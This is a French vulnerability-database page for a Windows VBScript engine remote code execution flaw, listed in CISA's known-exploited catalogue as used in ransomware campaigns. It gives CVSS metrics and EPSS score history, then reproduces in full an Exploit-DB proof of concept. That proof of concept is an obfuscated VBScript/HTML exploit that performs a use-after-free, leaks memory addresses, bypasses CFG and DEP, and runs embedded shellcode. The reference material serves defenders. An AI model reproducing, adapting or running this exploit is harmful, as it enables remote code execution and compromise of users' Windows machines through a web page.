CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.6
AV:N/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Known
Ajouter le : 2022-02-14 23h00 +00:00
Action attendue : 2022-08-14 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
54.46%
–
–
–
–
2021-09-05
–
54.46%
–
–
–
2022-01-09
–
54.46%
–
–
–
2022-02-06
–
–
91.47%
–
–
2023-03-12
–
–
–
97.43%
–
2023-03-19
–
–
–
97.44%
–
2023-05-07
–
–
–
97.42%
–
2023-05-14
–
–
–
97.44%
–
2023-05-21
–
–
–
97.42%
–
2023-08-06
–
–
–
97.45%
–
2023-10-01
–
–
–
97.44%
–
2023-12-03
–
–
–
97.43%
–
2024-02-25
–
–
–
97.47%
–
2024-03-24
–
–
–
97.45%
–
2024-06-02
–
–
–
97.45%
–
2024-07-07
–
–
–
97.42%
–
2024-08-25
–
–
–
97.39%
–
2024-11-03
–
–
–
97.37%
–
2024-12-15
–
–
–
97.32%
–
2024-12-22
–
–
–
96.66%
–
2025-01-19
–
–
–
96.66%
–
2025-03-18
–
–
–
–
94.28%
2025-03-18
–
–
–
–
94.28,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-05-20 22h00 +00:00 Auteur : smgorelik EDB Vérifié : No
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
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<body>
<script language="vbscript">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr
IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093
Function IIIII(Domain)
lIlII=0
IllllI=0
IIlIIl=0
Id=CLng(Rnd*1000000)
lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
lIlII=lIlII-(&h86d+6447-&H219b)
End If
IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function
Function lIIII(ByVal lIlIl)
IIll=""
For index=0 To Len(lIlIl)-1
IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
Next
IIll=IIll &"00"
If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
IIll=IIll &"00"
End If
For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
lIIII=lIIII &"%u" &lIlIll &lIIIlI
Next
End Function
Function lIlI(ByVal Number,ByVal Length)
IIII=Hex(Number)
If Len(IIII)<Length Then
IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros
Else
IIII=Right(IIII,Length)
End If
lIlI=IIII
End Function
Function GetUint32(lIII)
Dim value
llll.mem(IlII+8)=lIII+4
llll.mem(IlII)=8 'type string
value=llll.P0123456789
llll.mem(IlII)=2
GetUint32=value
End Function
Function IllIIl(lIII)
IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
llll.mem(IlII)=(&h713+3616-&H1530)
GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
On Error Resume Next
Dim lllll
lllll=llllll
lllll=null
SetMemValue lllll
LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
Dim llIl
llIl=IllIll And &hffff0000
Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
llIl=llIl-65536
Loop
GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
Dim lIIlI,IIIl
lIIlI=""
For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
Next
StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
Dim import_rva,nt_header,descriptor,import_dir
Dim IIIIII
nt_header=GetUint32(base_address+(&h3c))
import_rva=GetUint32(base_address+nt_header+&h80)
import_dir=base_address+import_rva
descriptor=0
Do While True
Dim Name
Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
If Name=0 Then
GetBaseFromImport=&hBAAD0000
Exit Function
Else
If StrCompWrapper(base_address+Name,name_input)=0 Then
Exit Do
End If
End If
descriptor=descriptor+1
Loop
IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
Function GetProcAddr(dll_base,name)
Dim p,export_dir,index
Dim function_rvas,function_names,function_ordin
Dim Illlll
p=GetUint32(dll_base+&h3c)
p=GetUint32(dll_base+p+&h78)
export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c)
function_names=dll_base+GetUint32(export_dir+&h20)
function_ordin=dll_base+GetUint32(export_dir+&h24)
index=0
Do While True
Dim lllI
lllI=GetUint32(function_names+index*4)
If StrCompWrapper(dll_base+lllI,name)=0 Then
Exit Do
End If
index=index+1
Loop
Illlll=IllIIl(function_ordin+index*2)
p=GetUint32(function_rvas+Illlll*4)
GetProcAddr=dll_base+p
End Function
Function GetShellcode()
IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
Dim High,Low
High=lIlI((value And &hffff0000)/&h10000,4)
Low=lIlI(value And &hffff,4)
EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
IlllI=lIlI(NtContinueAddr,8)
IlIII=Mid(IlllI,1,2)
llllI=Mid(IlllI,3,2)
llIII=Mid(IlllI,5,2)
lIllI=Mid(IlllI,7,2)
IIlI=""
IIlI=IIlI &"%u0000%u" &lIllI &"00"
For IIIl=1 To 3
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u" &lIllI &IlIII
Next
IIlI=IIlI &"%u" &llllI &llIII
IIlI=IIlI &"%u00" &IlIII
lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim IIlI
IIlI=String((100334-65536),Unescape("%u4141"))
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
IIlI=IIlI &EscapeAddress(&h3000)
IIlI=IIlI &EscapeAddress(&h40)
IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
IIlI=IIlI &String(6,Unescape("%u4242"))
IIlI=IIlI &lIllIl()
IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(lIlll)
Dim IIlI
Dim lllllI
lllllI=lIlll+&h23
IIlI=""
IIlI=IIlI &EscapeAddress(lllllI)
IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
IIlI=IIlI &EscapeAddress(&h1b)
IIlI=IIlI &EscapeAddress(0)
IIlI=IIlI &EscapeAddress(lIlll)
IIlI=IIlI &EscapeAddress(&h23)
IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
llll.mem(IlII)=&h4d 'DEP bypass
llll.mem(IlII+8)=0
msgbox(IlII) 'VT replaced
End Sub
Class cla1
Private Sub Class_Terminate()
Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
IllI=IllI+(&h14b5+2725-&H1f59)
lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
End Class
Class cla2
Private Sub Class_Terminate()
Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
IllI=IllI+(&h880+542-&Ha9d)
lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
Class IIIlIl
End Class
Class llIIl
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value
SetProp=0
End Function
End Class
Class IIIlll
Dim mem
Function P0123456789
P0123456789=LenB(mem(IlII+8))
End Function
Function SPP
End Function
End Class
Class lllIIl
Public Default Property Get P
Dim llII
P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
IIIlI(IIIl)=(&h2176+711-&H243d)
Next
Set llII=New IIIlll
llII.mem=lIlIIl
For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
Set IIIlI(IIIl)=llII
Next
End Property
End Class
Class llllII
Public Default Property Get P
Dim llII
P=636598737289582e-328
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
IllII(IIIl)=(&h442+2598-&He68)
Next
Set llII=New IIIlll
llII.mem=lIIIll
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
Set IllII(IIIl)=llII
Next
End Property
End Class
Set llllIl=New lllIIl
Set IlIIII=New llllII
Sub UAF
For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
Set IIllI(IIIl)=New IIIlIl
Next
For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
Set IIllI(IIIl)=New llIIl
Next
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla1
Erase lIIl
Next
Set llll=New llIIl
IllI=0
For IIIl=0 To 6
ReDim lIIl(1)
Set lIIl(1)=New cla2
Erase lIIl
Next
Set IIIIl=New llIIl
End Sub
Sub InitObjects
llll.SetProp(llllIl)
IIIIl.SetProp(IlIIII)
IlII=IIIIl.mem
End Sub
Sub StartExploit
UAF
InitObjects
vb_adrr=LeakVBAddr()
Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(GetUint32(vb_adrr))
vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
Alert "VBScript Base: 0x" & Hex(vbs_base)
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
Alert "MSVCRT Base: 0x" & Hex(msv_base)
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
Alert "KernelBase Base: 0x" & Hex(krb_base)
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
Alert "Ntdll Base: 0x" & Hex(ntd_base)
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr)
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
Alert "Shellcode Address 0x" & Hex(ShellcodeAddr)
SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
lIlll=GetMemValue()+69596
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
Alert "Executing Shellcode"
ExecuteShellcode
End Sub
StartExploit
</script>
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